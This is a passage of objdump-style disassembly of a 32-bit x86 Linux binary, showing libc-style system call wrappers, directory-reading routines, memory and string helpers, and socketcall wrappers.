804c0b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c0be: 76 0c jbe 0x804c0cc
804c0c0: e8 f1 04 00 00 call 0x804c5b6
804c0c5: f7 df neg %edi
804c0c7: 89 38 mov %edi,(%eax)
804c0c9: 83 cf ff or $0xffffffff,%edi
804c0cc: 89 f8 mov %edi,%eax
804c0ce: 83 c4 18 add $0x18,%esp
804c0d1: 5f pop %edi
804c0d2: c3 ret
804c0d3: 57 push %edi
804c0d4: 83 ec 08 sub $0x8,%esp
804c0d7: 8b 7c 24 10 mov 0x10(%esp),%edi
804c0db: 53 push %ebx
804c0dc: 89 fb mov %edi,%ebx
804c0de: b8 06 00 00 00 mov $0x6,%eax
804c0e3: cd 80 int $0x80
804c0e5: 5b pop %ebx
804c0e6: 89 c7 mov %eax,%edi
804c0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c0ed: 76 0c jbe 0x804c0fb
804c0ef: e8 c2 04 00 00 call 0x804c5b6
804c0f4: f7 df neg %edi
804c0f6: 89 38 mov %edi,(%eax)
804c0f8: 83 cf ff or $0xffffffff,%edi
804c0fb: 89 f8 mov %edi,%eax
804c0fd: 5a pop %edx
804c0fe: 59 pop %ecx
804c0ff: 5f pop %edi
804c100: c3 ret
804c101: 53 push %ebx
804c102: 83 ec 08 sub $0x8,%esp
804c105: b8 02 00 00 00 mov $0x2,%eax
804c10a: cd 80 int $0x80
804c10c: 89 c3 mov %eax,%ebx
804c10e: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c113: 76 0c jbe 0x804c121
804c115: e8 9c 04 00 00 call 0x804c5b6
804c11a: f7 db neg %ebx
804c11c: 89 18 mov %ebx,(%eax)
804c11e: 83 cb ff or $0xffffffff,%ebx
804c121: 89 d8 mov %ebx,%eax
804c123: 5a pop %edx
804c124: 59 pop %ecx
804c125: 5b pop %ebx
804c126: c3 ret
804c127: 53 push %ebx
804c128: 83 ec 08 sub $0x8,%esp
804c12b: b8 14 00 00 00 mov $0x14,%eax
804c130: cd 80 int $0x80
804c132: 89 c3 mov %eax,%ebx
804c134: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c139: 76 0c jbe 0x804c147
804c13b: e8 76 04 00 00 call 0x804c5b6
804c140: f7 db neg %ebx
804c142: 89 18 mov %ebx,(%eax)
804c144: 83 cb ff or $0xffffffff,%ebx
804c147: 89 d8 mov %ebx,%eax
804c149: 5a pop %edx
804c14a: 59 pop %ecx
804c14b: 5b pop %ebx
804c14c: c3 ret
804c14d: 53 push %ebx
804c14e: 83 ec 08 sub $0x8,%esp
804c151: b8 40 00 00 00 mov $0x40,%eax
804c156: cd 80 int $0x80
804c158: 89 c3 mov %eax,%ebx
804c15a: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c15f: 76 0c jbe 0x804c16d
804c161: e8 50 04 00 00 call 0x804c5b6
804c166: f7 db neg %ebx
804c168: 89 18 mov %ebx,(%eax)
804c16a: 83 cb ff or $0xffffffff,%ebx
804c16d: 89 d8 mov %ebx,%eax
804c16f: 5a pop %edx
804c170: 59 pop %ecx
804c171: 5b pop %ebx
804c172: c3 ret
804c173: 57 push %edi
804c174: 83 ec 18 sub $0x18,%esp
804c177: 8d 44 24 2c lea 0x2c(%esp),%eax
804c17b: 8b 7c 24 20 mov 0x20(%esp),%edi
804c17f: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c183: 89 44 24 14 mov %eax,0x14(%esp)
804c187: 8b 54 24 28 mov 0x28(%esp),%edx
804c18b: 53 push %ebx
804c18c: 89 fb mov %edi,%ebx
804c18e: b8 36 00 00 00 mov $0x36,%eax
804c193: cd 80 int $0x80
804c195: 5b pop %ebx
804c196: 89 c7 mov %eax,%edi
804c198: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c19d: 76 0c jbe 0x804c1ab
804c19f: e8 12 04 00 00 call 0x804c5b6
804c1a4: f7 df neg %edi
804c1a6: 89 38 mov %edi,(%eax)
804c1a8: 83 cf ff or $0xffffffff,%edi
804c1ab: 89 f8 mov %edi,%eax
804c1ad: 83 c4 18 add $0x18,%esp
804c1b0: 5f pop %edi
804c1b1: c3 ret
804c1b2: 53 push %ebx
804c1b3: 83 ec 08 sub $0x8,%esp
804c1b6: 8b 54 24 10 mov 0x10(%esp),%edx
804c1ba: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c1be: 87 d3 xchg %edx,%ebx
804c1c0: b8 25 00 00 00 mov $0x25,%eax
804c1c5: cd 80 int $0x80
804c1c7: 87 d3 xchg %edx,%ebx
804c1c9: 89 c3 mov %eax,%ebx
804c1cb: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c1d0: 76 0c jbe 0x804c1de
804c1d2: e8 df 03 00 00 call 0x804c5b6
804c1d7: f7 db neg %ebx
804c1d9: 89 18 mov %ebx,(%eax)
804c1db: 83 cb ff or $0xffffffff,%ebx
804c1de: 89 d8 mov %ebx,%eax
804c1e0: 5a pop %edx
804c1e1: 59 pop %ecx
804c1e2: 5b pop %ebx
804c1e3: c3 ret
804c1e4: 57 push %edi
804c1e5: 53 push %ebx
804c1e6: 83 ec 14 sub $0x14,%esp
804c1e9: 31 c0 xor %eax,%eax
804c1eb: 8b 4c 24 24 mov 0x24(%esp),%ecx
804c1ef: 8b 7c 24 20 mov 0x20(%esp),%edi
804c1f3: f6 c1 40 test $0x40,%cl
804c1f6: 74 0c je 0x804c204
804c1f8: 8d 44 24 2c lea 0x2c(%esp),%eax
804c1fc: 89 44 24 10 mov %eax,0x10(%esp)
804c200: 8b 44 24 28 mov 0x28(%esp),%eax
804c204: 0f b7 d0 movzwl %ax,%edx
804c207: 53 push %ebx
804c208: 89 fb mov %edi,%ebx
804c20a: b8 05 00 00 00 mov $0x5,%eax
804c20f: cd 80 int $0x80
804c211: 5b pop %ebx
804c212: 89 c3 mov %eax,%ebx
804c214: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c219: 76 0c jbe 0x804c227
804c21b: e8 96 03 00 00 call 0x804c5b6
804c220: f7 db neg %ebx
804c222: 89 18 mov %ebx,(%eax)
804c224: 83 cb ff or $0xffffffff,%ebx
804c227: 89 d8 mov %ebx,%eax
804c229: 83 c4 14 add $0x14,%esp
804c22c: 5b pop %ebx
804c22d: 5f pop %edi
804c22e: c3 ret
804c22f: 57 push %edi
804c230: 56 push %esi
804c231: 83 ec 04 sub $0x4,%esp
804c234: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c238: 8b 54 24 18 mov 0x18(%esp),%edx
804c23c: 8b 74 24 1c mov 0x1c(%esp),%esi
804c240: 8b 7c 24 20 mov 0x20(%esp),%edi
804c244: 8b 44 24 10 mov 0x10(%esp),%eax
804c248: 53 push %ebx
804c249: 89 c3 mov %eax,%ebx
804c24b: b8 ac 00 00 00 mov $0xac,%eax
804c250: cd 80 int $0x80
804c252: 5b pop %ebx
804c253: 89 c6 mov %eax,%esi
804c255: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c25a: 76 0c jbe 0x804c268
804c25c: e8 55 03 00 00 call 0x804c5b6
804c261: f7 de neg %esi
804c263: 89 30 mov %esi,(%eax)
804c265: 83 ce ff or $0xffffffff,%esi
804c268: 89 f0 mov %esi,%eax
804c26a: 5a pop %edx
804c26b: 5e pop %esi
804c26c: 5f pop %edi
804c26d: c3 ret
804c26e: 57 push %edi
804c26f: 83 ec 08 sub $0x8,%esp
804c272: 8b 7c 24 10 mov 0x10(%esp),%edi
804c276: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c27a: 8b 54 24 18 mov 0x18(%esp),%edx
804c27e: 53 push %ebx
804c27f: 89 fb mov %edi,%ebx
804c281: b8 03 00 00 00 mov $0x3,%eax
804c286: cd 80 int $0x80
804c288: 5b pop %ebx
804c289: 89 c7 mov %eax,%edi
804c28b: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c290: 76 0c jbe 0x804c29e
804c292: e8 1f 03 00 00 call 0x804c5b6
804c297: f7 df neg %edi
804c299: 89 38 mov %edi,(%eax)
804c29b: 83 cf ff or $0xffffffff,%edi
804c29e: 89 f8 mov %edi,%eax
804c2a0: 5a pop %edx
804c2a1: 59 pop %ecx
804c2a2: 5f pop %edi
804c2a3: c3 ret
804c2a4: 57 push %edi
804c2a5: 83 ec 08 sub $0x8,%esp
804c2a8: 8b 7c 24 10 mov 0x10(%esp),%edi
804c2ac: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c2b0: 8b 54 24 18 mov 0x18(%esp),%edx
804c2b4: 53 push %ebx
804c2b5: 89 fb mov %edi,%ebx
804c2b7: b8 55 00 00 00 mov $0x55,%eax
804c2bc: cd 80 int $0x80
804c2be: 5b pop %ebx
804c2bf: 89 c7 mov %eax,%edi
804c2c1: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c2c6: 76 0c jbe 0x804c2d4
804c2c8: e8 e9 02 00 00 call 0x804c5b6
804c2cd: f7 df neg %edi
804c2cf: 89 38 mov %edi,(%eax)
804c2d1: 83 cf ff or $0xffffffff,%edi
804c2d4: 89 f8 mov %edi,%eax
804c2d6: 5a pop %edx
804c2d7: 59 pop %ecx
804c2d8: 5f pop %edi
804c2d9: c3 ret
804c2da: 57 push %edi
804c2db: 56 push %esi
804c2dc: 83 ec 04 sub $0x4,%esp
804c2df: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c2e3: 8b 54 24 18 mov 0x18(%esp),%edx
804c2e7: 8b 74 24 1c mov 0x1c(%esp),%esi
804c2eb: 8b 7c 24 20 mov 0x20(%esp),%edi
804c2ef: 8b 44 24 10 mov 0x10(%esp),%eax
804c2f3: 53 push %ebx
804c2f4: 89 c3 mov %eax,%ebx
804c2f6: b8 8e 00 00 00 mov $0x8e,%eax
804c2fb: cd 80 int $0x80
804c2fd: 5b pop %ebx
804c2fe: 89 c6 mov %eax,%esi
804c300: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c305: 76 0c jbe 0x804c313
804c307: e8 aa 02 00 00 call 0x804c5b6
804c30c: f7 de neg %esi
804c30e: 89 30 mov %esi,(%eax)
804c310: 83 ce ff or $0xffffffff,%esi
804c313: 89 f0 mov %esi,%eax
804c315: 5a pop %edx
804c316: 5e pop %esi
804c317: 5f pop %edi
804c318: c3 ret
804c319: 53 push %ebx
804c31a: 83 ec 08 sub $0x8,%esp
804c31d: b8 42 00 00 00 mov $0x42,%eax
804c322: cd 80 int $0x80
804c324: 89 c3 mov %eax,%ebx
804c326: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c32b: 76 0c jbe 0x804c339
804c32d: e8 84 02 00 00 call 0x804c5b6
804c332: f7 db neg %ebx
804c334: 89 18 mov %ebx,(%eax)
804c336: 83 cb ff or $0xffffffff,%ebx
804c339: 89 d8 mov %ebx,%eax
804c33b: 5a pop %edx
804c33c: 59 pop %ecx
804c33d: 5b pop %ebx
804c33e: c3 ret
804c33f: 57 push %edi
804c340: 83 ec 08 sub $0x8,%esp
804c343: 8b 7c 24 10 mov 0x10(%esp),%edi
804c347: 53 push %ebx
804c348: 89 fb mov %edi,%ebx
804c34a: b8 0d 00 00 00 mov $0xd,%eax
804c34f: cd 80 int $0x80
804c351: 5b pop %ebx
804c352: 89 c7 mov %eax,%edi
804c354: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c359: 76 0c jbe 0x804c367
804c35b: e8 56 02 00 00 call 0x804c5b6
804c360: f7 df neg %edi
804c362: 89 38 mov %edi,(%eax)
804c364: 83 cf ff or $0xffffffff,%edi
804c367: 89 f8 mov %edi,%eax
804c369: 5a pop %edx
804c36a: 59 pop %ecx
804c36b: 5f pop %edi
804c36c: c3 ret
804c36d: 57 push %edi
804c36e: 83 ec 08 sub $0x8,%esp
804c371: 8b 7c 24 10 mov 0x10(%esp),%edi
804c375: 53 push %ebx
804c376: 89 fb mov %edi,%ebx
804c378: b8 0a 00 00 00 mov $0xa,%eax
804c37d: cd 80 int $0x80
804c37f: 5b pop %ebx
804c380: 89 c7 mov %eax,%edi
804c382: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c387: 76 0c jbe 0x804c395
804c389: e8 28 02 00 00 call 0x804c5b6
804c38e: f7 df neg %edi
804c390: 89 38 mov %edi,(%eax)
804c392: 83 cf ff or $0xffffffff,%edi
804c395: 89 f8 mov %edi,%eax
804c397: 5a pop %edx
804c398: 59 pop %ecx
804c399: 5f pop %edi
804c39a: c3 ret
804c39b: 57 push %edi
804c39c: 83 ec 08 sub $0x8,%esp
804c39f: 8b 7c 24 10 mov 0x10(%esp),%edi
804c3a3: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c3a7: 8b 54 24 18 mov 0x18(%esp),%edx
804c3ab: 53 push %ebx
804c3ac: 89 fb mov %edi,%ebx
804c3ae: b8 04 00 00 00 mov $0x4,%eax
804c3b3: cd 80 int $0x80
804c3b5: 5b pop %ebx
804c3b6: 89 c7 mov %eax,%edi
804c3b8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804c3bd: 76 0c jbe 0x804c3cb
804c3bf: e8 f2 01 00 00 call 0x804c5b6
804c3c4: f7 df neg %edi
804c3c6: 89 38 mov %edi,(%eax)
804c3c8: 83 cf ff or $0xffffffff,%edi
804c3cb: 89 f8 mov %edi,%eax
804c3cd: 5a pop %edx
804c3ce: 59 pop %ecx
804c3cf: 5f pop %edi
804c3d0: c3 ret
804c3d1: 57 push %edi
804c3d2: 56 push %esi
804c3d3: 53 push %ebx
804c3d4: 83 ec 10 sub $0x10,%esp
804c3d7: 8b 7c 24 20 mov 0x20(%esp),%edi
804c3db: 83 3f ff cmpl $0xffffffff,(%edi)
804c3de: 75 10 jne 0x804c3f0
804c3e0: e8 d1 01 00 00 call 0x804c5b6
804c3e5: c7 00 09 00 00 00 movl $0x9,(%eax)
804c3eb: 83 c8 ff or $0xffffffff,%eax
804c3ee: eb 4a jmp 0x804c43a
804c3f0: 8d 5f 18 lea 0x18(%edi),%ebx
804c3f3: 56 push %esi
804c3f4: 53 push %ebx
804c3f5: 68 99 dd 04 08 push $0x804dd99
804c3fa: 8d 74 24 0c lea 0xc(%esp),%esi
804c3fe: 56 push %esi
804c3ff: e8 98 19 00 00 call 0x804dd9c
804c404: 89 1c 24 mov %ebx,(%esp)
804c407: e8 8d 19 00 00 call 0x804dd99
804c40c: 8b 1f mov (%edi),%ebx
804c40e: c7 07 ff ff ff ff movl $0xffffffff,(%edi)
804c414: 5a pop %edx
804c415: 59 pop %ecx
804c416: 6a 01 push $0x1
804c418: 56 push %esi
804c419: e8 7e 19 00 00 call 0x804dd9c
804c41e: 58 pop %eax
804c41f: ff 77 0c pushl 0xc(%edi)
804c422: e8 0e 12 00 00 call 0x804d635
804c427: 89 3c 24 mov %edi,(%esp)
804c42a: e8 06 12 00 00 call 0x804d635
804c42f: 89 1c 24 mov %ebx,(%esp)
804c432: e8 9c fc ff ff call 0x804c0d3
804c437: 83 c4 10 add $0x10,%esp
804c43a: 83 c4 10 add $0x10,%esp
804c43d: 5b pop %ebx
804c43e: 5e pop %esi
804c43f: 5f pop %edi
804c440: c3 ret
804c441: 57 push %edi
804c442: 56 push %esi
804c443: 53 push %ebx
804c444: 31 db xor %ebx,%ebx
804c446: 83 ec 68 sub $0x68,%esp
804c449: 68 00 08 01 00 push $0x10800
804c44e: ff 74 24 7c pushl 0x7c(%esp)
804c452: e8 8d fd ff ff call 0x804c1e4
804c457: 83 c4 10 add $0x10,%esp
804c45a: 89 c7 mov %eax,%edi
804c45c: 85 c0 test %eax,%eax
804c45e: 0f 88 c5 00 00 00 js 0x804c529
804c464: 53 push %ebx
804c465: 53 push %ebx
804c466: 8d 44 24 10 lea 0x10(%esp),%eax
804c46a: 50 push %eax
804c46b: 57 push %edi
804c46c: e8 25 1d 00 00 call 0x804e196
804c471: 83 c4 10 add $0x10,%esp
804c474: 85 c0 test %eax,%eax
804c476: 78 12 js 0x804c48a
804c478: 51 push %ecx
804c479: 6a 01 push $0x1
804c47b: 6a 02 push $0x2
804c47d: 57 push %edi
804c47e: e8 ba fb ff ff call 0x804c03d
804c483: 83 c4 10 add $0x10,%esp
804c486: 85 c0 test %eax,%eax
804c488: 79 16 jns 0x804c4a0
804c48a: e8 27 01 00 00 call 0x804c5b6
804c48f: 83 ec 0c sub $0xc,%esp
804c492: 89 c3 mov %eax,%ebx
804c494: 8b 30 mov (%eax),%esi
804c496: 57 push %edi
804c497: e8 37 fc ff ff call 0x804c0d3
804c49c: 89 33 mov %esi,(%ebx)
804c49e: eb 75 jmp 0x804c515
804c4a0: 83 ec 0c sub $0xc,%esp
804c4a3: 6a 30 push $0x30
804c4a5: e8 c6 03 00 00 call 0x804c870
804c4aa: 83 c4 10 add $0x10,%esp
804c4ad: 89 c3 mov %eax,%ebx
804c4af: 85 c0 test %eax,%eax
804c4b1: 74 4e je 0x804c501
804c4b3: 89 38 mov %edi,(%eax)
804c4b5: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
804c4bc: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
804c4c3: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
804c4ca: 8b 44 24 38 mov 0x38(%esp),%eax
804c4ce: 89 43 14 mov %eax,0x14(%ebx)
804c4d1: 3d ff 01 00 00 cmp $0x1ff,%eax
804c4d6: 77 07 ja 0x804c4df
804c4d8: c7 43 14 00 02 00 00 movl $0x200,0x14(%ebx)
804c4df: 52 push %edx
804c4e0: 52 push %edx
804c4e1: ff 73 14 pushl 0x14(%ebx)
804c4e4: 6a 01 push $0x1
804c4e6: e8 f9 0a 00 00 call 0x804cfe4
804c4eb: 83 c4 10 add $0x10,%esp
804c4ee: 89 43 0c mov %eax,0xc(%ebx)
804c4f1: 85 c0 test %eax,%eax
804c4f3: 75 24 jne 0x804c519
804c4f5: 83 ec 0c sub $0xc,%esp
804c4f8: 53 push %ebx
804c4f9: e8 37 11 00 00 call 0x804d635
804c4fe: 83 c4 10 add $0x10,%esp
804c501: 83 ec 0c sub $0xc,%esp
804c504: 57 push %edi
804c505: e8 c9 fb ff ff call 0x804c0d3
804c50a: e8 a7 00 00 00 call 0x804c5b6
804c50f: c7 00 0c 00 00 00 movl $0xc,(%eax)
804c515: 31 db xor %ebx,%ebx
804c517: eb 0d jmp 0x804c526
804c519: 50 push %eax
804c51a: 50 push %eax
804c51b: 8d 43 18 lea 0x18(%ebx),%eax
804c51e: 6a 00 push $0x0
804c520: 50 push %eax
804c521: e8 73 18 00 00 call 0x804dd99
804c526: 83 c4 10 add $0x10,%esp
804c529: 83 c4 60 add $0x60,%esp
804c52c: 89 d8 mov %ebx,%eax
804c52e: 5b pop %ebx
804c52f: 5e pop %esi
804c530: 5f pop %edi
804c531: c3 ret
804c532: 56 push %esi
804c533: 53 push %ebx
804c534: 83 ec 18 sub $0x18,%esp
804c537: 8b 74 24 24 mov 0x24(%esp),%esi
804c53b: 8d 5e 18 lea 0x18(%esi),%ebx
804c53e: 53 push %ebx
804c53f: 68 99 dd 04 08 push $0x804dd99
804c544: 8d 44 24 10 lea 0x10(%esp),%eax
804c548: 50 push %eax
804c549: e8 4e 18 00 00 call 0x804dd9c
804c54e: 89 1c 24 mov %ebx,(%esp)
804c551: e8 43 18 00 00 call 0x804dd99
804c556: 83 c4 10 add $0x10,%esp
804c559: 8b 46 08 mov 0x8(%esi),%eax
804c55c: 3b 46 04 cmp 0x4(%esi),%eax
804c55f: 77 23 ja 0x804c584
804c561: 52 push %edx
804c562: ff 76 14 pushl 0x14(%esi)
804c565: ff 76 0c pushl 0xc(%esi)
804c568: ff 36 pushl (%esi)
804c56a: e8 6f 1c 00 00 call 0x804e1de
804c56f: 83 c4 10 add $0x10,%esp
804c572: 85 c0 test %eax,%eax
804c574: 7f 04 jg 0x804c57a
804c576: 31 db xor %ebx,%ebx
804c578: eb 26 jmp 0x804c5a0
804c57a: 89 46 08 mov %eax,0x8(%esi)
804c57d: c7 46 04 00 00 00 00 movl $0x0,0x4(%esi)
804c584: 8b 46 04 mov 0x4(%esi),%eax
804c587: 89 c3 mov %eax,%ebx
804c589: 03 5e 0c add 0xc(%esi),%ebx
804c58c: 0f b7 53 08 movzwl 0x8(%ebx),%edx
804c590: 01 d0 add %edx,%eax
804c592: 89 46 04 mov %eax,0x4(%esi)
804c595: 8b 43 04 mov 0x4(%ebx),%eax
804c598: 89 46 10 mov %eax,0x10(%esi)
804c59b: 83 3b 00 cmpl $0x0,(%ebx)
804c59e: 74 b9 je 0x804c559
804c5a0: 50 push %eax
804c5a1: 50 push %eax
804c5a2: 6a 01 push $0x1
804c5a4: 8d 44 24 10 lea 0x10(%esp),%eax
804c5a8: 50 push %eax
804c5a9: e8 ee 17 00 00 call 0x804dd9c
804c5ae: 89 d8 mov %ebx,%eax
804c5b0: 83 c4 24 add $0x24,%esp
804c5b3: 5b pop %ebx
804c5b4: 5e pop %esi
804c5b5: c3 ret
804c5b6: b8 00 f1 04 08 mov $0x804f100,%eax
804c5bb: c3 ret
804c5bc: 83 ec 28 sub $0x28,%esp
804c5bf: 8d 44 24 18 lea 0x18(%esp),%eax
804c5c3: 50 push %eax
804c5c4: e8 3f 20 00 00 call 0x804e608
804c5c9: 8b 44 24 20 mov 0x20(%esp),%eax
804c5cd: 03 44 24 1c add 0x1c(%esp),%eax
804c5d1: 83 c4 2c add $0x2c,%esp
804c5d4: 69 c0 10 27 00 00 imul $0x2710,%eax,%eax
804c5da: 25 ff ff ff 7f and $0x7fffffff,%eax
804c5df: c3 ret
804c5e0: 57 push %edi
804c5e1: 56 push %esi
804c5e2: 8b 44 24 0c mov 0xc(%esp),%eax
804c5e6: 8b 74 24 10 mov 0x10(%esp),%esi
804c5ea: 8b 4c 24 14 mov 0x14(%esp),%ecx
804c5ee: 39 f0 cmp %esi,%eax
804c5f0: 73 06 jae 0x804c5f8
804c5f2: 89 c7 mov %eax,%edi
804c5f4: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
804c5f6: eb 0c jmp 0x804c604
804c5f8: 8d 74 0e ff lea -0x1(%esi,%ecx,1),%esi
804c5fc: 8d 7c 08 ff lea -0x1(%eax,%ecx,1),%edi
804c600: fd std
804c601: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
804c603: fc cld
804c604: 5e pop %esi
804c605: 5f pop %edi
804c606: c3 ret
804c607: 57 push %edi
804c608: 8b 44 24 0c mov 0xc(%esp),%eax
804c60c: 8b 4c 24 10 mov 0x10(%esp),%ecx
804c610: 8b 7c 24 08 mov 0x8(%esp),%edi
804c614: f3 aa rep stos %al,%es:(%edi)
804c616: 8b 44 24 08 mov 0x8(%esp),%eax
804c61a: 5f pop %edi
804c61b: c3 ret
804c61c: 57 push %edi
804c61d: 56 push %esi
804c61e: 83 ec 04 sub $0x4,%esp
804c621: 8b 74 24 14 mov 0x14(%esp),%esi
804c625: 8b 7c 24 10 mov 0x10(%esp),%edi
804c629: ac lods %ds:(%esi),%al
804c62a: aa stos %al,%es:(%edi)
804c62b: 84 c0 test %al,%al
804c62d: 75 fa jne 0x804c629
804c62f: 8b 44 24 10 mov 0x10(%esp),%eax
804c633: 5a pop %edx
804c634: 5e pop %esi
804c635: 5f pop %edi
804c636: c3 ret
804c637: 83 ec 24 sub $0x24,%esp
804c63a: 8d 44 24 20 lea 0x20(%esp),%eax
804c63e: 50 push %eax
804c63f: ff 74 24 2c pushl 0x2c(%esp)
804c643: e8 92 20 00 00 call 0x804e6da
804c648: 83 c4 10 add $0x10,%esp
804c64b: 83 ca ff or $0xffffffff,%edx
804c64e: 85 c0 test %eax,%eax
804c650: 74 04 je 0x804c656
804c652: 8b 54 24 18 mov 0x18(%esp),%edx
804c656: 89 d0 mov %edx,%eax
804c658: 83 c4 1c add $0x1c,%esp
804c65b: c3 ret
804c65c: 83 ec 24 sub $0x24,%esp
804c65f: 8b 44 24 28 mov 0x28(%esp),%eax
804c663: 89 44 24 18 mov %eax,0x18(%esp)
804c667: 8b 44 24 2c mov 0x2c(%esp),%eax
804c66b: 89 44 24 1c mov %eax,0x1c(%esp)
804c66f: 8b 44 24 30 mov 0x30(%esp),%eax
804c673: 89 44 24 20 mov %eax,0x20(%esp)
804c677: 8d 44 24 18 lea 0x18(%esp),%eax
804c67b: 50 push %eax
804c67c: 6a 02 push $0x2
804c67e: e8 4c 1a 00 00 call 0x804e0cf
804c683: 83 c4 2c add $0x2c,%esp
804c686: c3 ret
804c687: 83 ec 24 sub $0x24,%esp
804c68a: 8b 44 24 28 mov 0x28(%esp),%eax
804c68e: 89 44 24 18 mov %eax,0x18(%esp)
804c692: 8b 44 24 2c mov 0x2c(%esp),%eax
804c696: 89 44 24 1c mov %eax,0x1c(%esp)
804c69a: 8b 44 24 30 mov 0x30(%esp),%eax
804c69e: 89 44 24 20 mov %eax,0x20(%esp)
804c6a2: 8d 44 24 18 lea 0x18(%esp),%eax
804c6a6: 50 push %eax
804c6a7: 6a 03 push $0x3
804c6a9: e8 21 1a 00 00 call 0x804e0cf
804c6ae: 83 c4 2c add $0x2c,%esp
804c6b1: c3 ret
804c6b2: 83 ec 24 sub $0x24,%esp
804c6b5: 8b 44 24 28 mov 0x28(%esp),%eax
804c6b9: 89 44 24 18 mov %eax,0x18(%esp)
804c6bd: 8b 44 24 2c mov 0x2c(%esp),%eax
804c6c1: 89 44 24 1c mov %eax,0x1c(%esp)
804c6c5: 8b 44 24 30 mov 0x30(%esp),%eax
804c6c9: 89 44 24 20 mov %eax,0x20(%esp)
804c6cd: 8d 44 24 18 lea 0x18(%esp),%eax
804c6d1: 50 push %eax
804c6d2: 6a 06 push $0x6
804c6d4: e8 f6 19 00 00 call 0x804e0cf
804c6d9: 83 c4 2c add $0x2c,%esp
804c6dc: c3 ret
804c6dd: 83 ec 34 sub $0x34,%esp
804c6e0: 8b 44 24 38 mov 0x38(%esp),%eax
804c6e4: 89 44 24 20 mov %eax,0x20(%esp)
804c6e8: 8b 44 24 3c mov 0x3c(%esp),%eax
804c6ec: 89 44 24 24 mov %eax,0x24(%esp)
804c6f0: 8b 44 24 40 mov 0x40(%esp),%eax
804c6f4: 89 44 24 28 mov %eax,0x28(%esp)
804c6f8: 8b 44 24 44 mov 0x44(%esp),%eax
804c6fc: 89 44 24 2c mov %eax,0x2c(%esp)
804c700: 8b 44 24 48 mov 0x48(%esp),%eax
804c704: 89 44 24 30 mov %eax,0x30(%esp)
804c708: 8d 44 24 20 lea 0x20(%esp),%eax
804c70c: 50 push %eax
804c70d: 6a 0f push $0xf
804c70f: e8 bb 19 00 00 call 0x804e0cf
804c714: 83 c4 3c add $0x3c,%esp
804c717: c3 ret
804c718: 83 ec 24 sub $0x24,%esp
804c71b: 8b 44 24 28 mov 0x28(%esp),%eax
804c71f: 89 44 24 1c mov %eax,0x1c(%esp)
804c723: 8b 44 24 2c mov 0x2c(%esp),%eax
804c727: 89 44 24 20 mov %eax,0x20(%esp)
804c72b: 8d 44 24 1c lea 0x1c(%esp),%eax
804c72f: 50 push %eax
804c730: 6a 04 push $0x4
804c732: e8 98 19 00 00 call 0x804e0cf
804c737: 83 c4 2c add $0x2c,%esp
804c73a: c3 ret
804c73b: 83 ec 24 sub $0x24,%esp
804c73e: 8b 44 24 28 mov 0x28(%esp),%eax
804c742: 89 44 24 14 mov %eax,0x14(%esp)
804c746: 8b 44 24 2c mov 0x2c(%esp),%eax
804c74a: 89 44 24 18 mov %eax,0x18(%esp)
804c74e: 8b 44 24 30 mov 0x30(%esp),%eax
804c752: 89 44 24 1c mov %eax,0x1c(%esp)
804c756: 8b 44 24 34 mov 0x34(%esp),%eax
804c75a: 89 44 24 20 mov %eax,0x20(%esp)
804c75e: 8d 44 24 14 lea 0x14(%esp),%eax
804c762: 50 push %eax
804c763: 6a 0a push $0xa
804c765: e8 65 19 00 00 call 0x804e0cf
804c76a: 83 c4 2c add $0x2c,%esp
804c76d: c3 ret
804c76e: 83 ec 24 sub $0x24,%esp
804c771: 8b 44 24 28 mov 0x28(%esp),%eax
804c775: 89 44 24 14 mov %eax,0x14(%esp)
804c779: 8b 44 24 2c mov 0x2c(%esp),%eax
804c77d: 89 44 24 18 mov %eax,0x18(%esp)
804c781: 8b 44 24 30 mov 0x30(%esp),%eax
804c785: 89 44 24 1c mov %eax,0x1c(%esp)
804c789: 8b 44 24 34 mov 0x34(%esp),%eax
804c78d: 89 44 24 20 mov %eax,0x20(%esp)
804c791: 8d 44 24 14 lea 0x14(%esp),%eax
804c795: 50 push %eax
804c796: 6a 09 push $0x9
804c798: e8 32 19 00 00 call 0x804e0cf
804c79d: 83 c4 2c add $0x2c,%esp
804c7a0: c3 ret
804c7a1: 83 ec 34 sub $0x34,%esp
804c7a4: 8b 44 24 38 mov 0x38(%esp),%eax
804c7a8: 89 44 24 1c mov %eax,0x1c(%esp)
804c7ac: 8b 44 24 3c mov 0x3c(%esp),%eax
804c7b0: 89 44 24 20 mov %eax,0x20(%esp)
804c7b4: 8b 44 24 40 mov 0x40(%esp),%eax
804c7b8: 89 44 24 24 mov %eax,0x24(%esp)
804c7bc: 8b 44 24 44 mov 0x44(%esp),%eax
804c7c0: 89 44 24 28 mov %eax,0x28(%esp)
804c7c4: 8b 44 24 48 mov 0x48(%esp),%eax
804c7c8: 89 44 24 2c mov %eax,0x2c(%esp)
804c7cc: 8b 44 24 4c mov 0x4c(%esp),%eax
804c7d0: 89 44 24 30 mov %eax,0x30(%esp)
804c7d4: 8d 44 24 1c lea 0x1c(%esp),%eax
804c7d8: 50 push %eax
804c7d9: 6a 0b push $0xb
804c7db: e8 ef 18 00 00 call 0x804e0cf
804c7e0: 83 c4 3c add $0x3c,%esp
804c7e3: c3 ret
804c7e4: 83 ec 34 sub $0x34,%esp
